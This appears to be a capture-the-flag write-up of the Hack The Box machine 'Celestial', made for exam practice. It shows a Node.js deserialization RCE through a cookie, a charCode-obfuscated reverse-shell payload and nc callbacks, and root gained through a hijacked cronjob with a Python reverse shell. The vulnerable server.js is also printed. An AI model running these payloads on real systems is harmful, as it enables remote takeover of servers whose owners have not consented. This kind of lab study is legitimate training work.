[HTB] Celestial — Writeup (OSWE-Prep)

Celestial is a medium difficulty Linux box. Good learning path for:

Initial Recon

Nmap

# nmap -Pn --open -p- -T4 -sV -sC 10.10.10.85Starting Nmap 7.80 ( https://nmap.org ) at 2021-04-10 16:26 EDT
Nmap scan report for 10.10.10.85
Host is up (0.082s latency).
Not shown: 64257 closed ports, 1277 filtered ports
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE VERSION
3000/tcp open http Node.js Express framework
|_http-title: Site doesn't have a title (text/html; charset=utf-8).

When I inspect the request with Burp Suite, I found some more interesting things:

Initial Foothold

NodeJS Deserialization Attack

First of all, I wanted to see if I can manipulate the cookie value and it will reflect on the server response.

And when I re-send the GET request adding the Cookie: header, I could see the reflected response.

RCE Checking

I did some Google search and found a great blog about NodeJS Deserialization Attack here. He kindly provided some example payload as well as full payload generator (nodejsshell.py).

First of all, I wanted to check if the Celestial box is vulnerable to NodeJS deserialization RCE.

# Payload 1
{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('ls /', function(error, stdout, stderr) { console.log(stdout) });\n }()"}
# Base64 Encode
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7XG4gXHQgcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ2xzIC8nLCBmdW5jdGlvbihlcnJvciwgc3Rkb3V0LCBzdGRlcnIpIHsgY29uc29sZS5sb2coc3Rkb3V0KSB9KTtcbiB9KCkifQ==

So it didn’t output the ls on the server response. Next, I wanted to try if it can call back to my ncat listener.

# Payload 2
{"rce":"_$$ND_FUNC$$_function (){\n \t require('child_process').exec('nc 10.10.14.4 9001 /', function(error, stdout, stderr) { console.log(stdout) });\n }()"}
# Base64 Encode
eyJyY2UiOiJfJCRORF9GVU5DJCRfZnVuY3Rpb24gKCl7XG4gXHQgcmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWMoJ25jIDEwLjEwLjE0LjQgOTAwMSAvJywgZnVuY3Rpb24oZXJyb3IsIHN0ZG91dCwgc3RkZXJyKSB7IGNvbnNvbGUubG9nKHN0ZG91dCkgfSk7XG4gfSgpIn0=

I still got the same error on the server response, but in my ncat listener, I got the connection from the Celestial box :)

Reverse Shell

Using the nodejsshell.py, I generated the reverse shell payload:

# python nodejsshell.py 10.10.14.4 9001

Then, I base64 the following payload and send it via Burp.

# Payload 3
{"rce":"_$$ND_FUNC$$_function (){eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108,100,95,112,114,111,99,101,115,115,39,41,46,115,112,97,119,110,59,10,72,79,83,84,61,34,49,48,46,49,48,46,49,52,46,52,34,59,10,80,79,82,84,61,34,57,48,48,49,34,59,10,84,73,77,69,79,85,84,61,34,53,48,48,48,34,59,10,105,102,32,40,116,121,112,101,111,102,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,61,61,32,39,117,110,100,101,102,105,110,101,100,39,41,32,123,32,83,116,114,105,110,103,46,112,114,111,116,111,116,121,112,101,46,99,111,110,116,97,105,110,115,32,61,32,102,117,110,99,116,105,111,110,40,105,116,41,32,123,32,114,101,116,117,114,110,32,116,104,105,115,46,105,110,100,101,120,79,102,40,105,116,41,32,33,61,32,45,49,59,32,125,59,32,125,10,102,117,110,99,116,105,111,110,32,99,40,72,79,83,84,44,80,79,82,84,41,32,123,10,32,32,32,32,118,97,114,32,99,108,105,101,110,116,32,61,32,110,101,119,32,110,101,116,46,83,111,99,107,101,116,40,41,59,10,32,32,32,32,99,108,105,101,110,116,46,99,111,110,110,101,99,116,40,80,79,82,84,44,32,72,79,83,84,44,32,102,117,110,99,116,105,111,110,40,41,32,123,10,32,32,32,32,32,32,32,32,118,97,114,32,115,104,32,61,32,115,112,97,119,110,40,39,47,98,105,110,47,115,104,39,44,91,93,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,119,114,105,116,101,40,34,67,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,112,105,112,101,40,115,104,46,115,116,100,105,110,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,111,117,116,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,115,116,100,101,114,114,46,112,105,112,101,40,99,108,105,101,110,116,41,59,10,32,32,32,32,32,32,32,32,115,104,46,111,110,40,39,101,120,105,116,39,44,102,117,110,99,116,105,111,110,40,99,111,100,101,44,115,105,103,110,97,108,41,123,10,32,32,32,32,32,32,32,32,32,32,99,108,105,101,110,116,46,101,110,100,40,34,68,105,115,99,111,110,110,101,99,116,101,100,33,92,110,34,41,59,10,32,32,32,32,32,32,32,32,125,41,59,10,32,32,32,32,125,41,59,10,32,32,32,32,99,108,105,101,110,116,46,111,110,40,39,101,114,114,111,114,39,44,32,102,117,110,99,116,105,111,110,40,101,41,32,123,10,32,32,32,32,32,32,32,32,115,101,116,84,105,109,101,111,117,116,40,99,40,72,79,83,84,44,80,79,82,84,41,44,32,84,73,77,69,79,85,84,41,59,10,32,32,32,32,125,41,59,10,125,10,99,40,72,79,83,84,44,80,79,82,84,41,59,10))}()"}

user.txt

I successfully got the reverse shell back to my listener read the user.txt flag.

Privilege Escalation

sun → root (CronJob Hijack)

Using pspy (Linux Process Monitor Tool), I was able to determine there was a cronjob (script.py) running. And found UID=0 (root) was running the following command for every 5 minute:

2021/04/10 17:43:25 CMD: UID=0    PID=1      | /sbin/init splash 
2021/04/10 17:45:01 CMD: UID=0 PID=4871 | python /home/sun/Documents/script.py
2021/04/10 17:45:01 CMD: UID=0 PID=4870 | /bin/sh -c python /home/sun/Documents/script.py > /home/sun/output.txt; cp /root/script.py /home/sun/Documents/script.py; chown sun:sun /home/sun/Documents/script.py; chattr -i /home/sun/Documents/script.py; touch -d "$(date -R -r /home/sun/Documents/user.txt)" /home/sun/Documents/script.py
2021/04/10 17:45:01 CMD: UID=0 PID=4869 | /usr/sbin/CRON -f

Since the cronjob run the ~/Documents/script.py before, it copies the /root/script.py to ~/Documents/script.py. So my thought process to gain root access was to add my Python reverse shell into the ~/Documents/script.py and wait for the cronjob (as the root privilege) to execute my code. Let’s do it!

# Modified script.pyimport socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.4",9002));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);

A couple of minutes later, I got the callback from the Celestial box as the root user.

Post-Ex

server.js

Finally, I just checked the server.js script to see how it operates:

# cat server.js
var express = require('express');
var cookieParser = require('cookie-parser');
var escape = require('escape-html');
var serialize = require('node-serialize');
var app = express();
app.use(cookieParser())

app.get('/', function(req, res) {
if (req.cookies.profile) {
var str = new Buffer(req.cookies.profile, 'base64').toString();
var obj = serialize.unserialize(str);
if (obj.username) {
var sum = eval(obj.num + obj.num);
res.send("Hey " + obj.username + " " + obj.num + " + " + obj.num + " is " + sum);
}else{
res.send("An error occurred...invalid username type");
}
}else {
res.cookie('profile', "eyJ1c2VybmFtZSI6IkR1bW15IiwiY291bnRyeSI6IklkayBQcm9iYWJseSBTb21ld2hlcmUgRHVtYiIsImNpdHkiOiJMYW1ldG93biIsIm51bSI6IjIifQ==", {
maxAge: 900000,
httpOnly: true
});
}
res.send("<h1>404</h1>");
});
app.listen(3000);

Conclusion

In the OSWE material, the deserialization was one of the big topics for sure. This box was a good one to refresh the deserialization concept. Thanks for reading!

Thanks to TJ_NULL for providing the list for the OSWE-like VMs

OSCE | OSCP | CREST | Offensive Security Consultant — All about Penetration Test | Red Team | Cloud Security | Web Application Security

Get the Medium app

A button that says 'Download on the App Store', and if clicked it will lead you to the iOS App store
A button that says 'Get it on, Google Play', and if clicked it will lead you to the Google Play store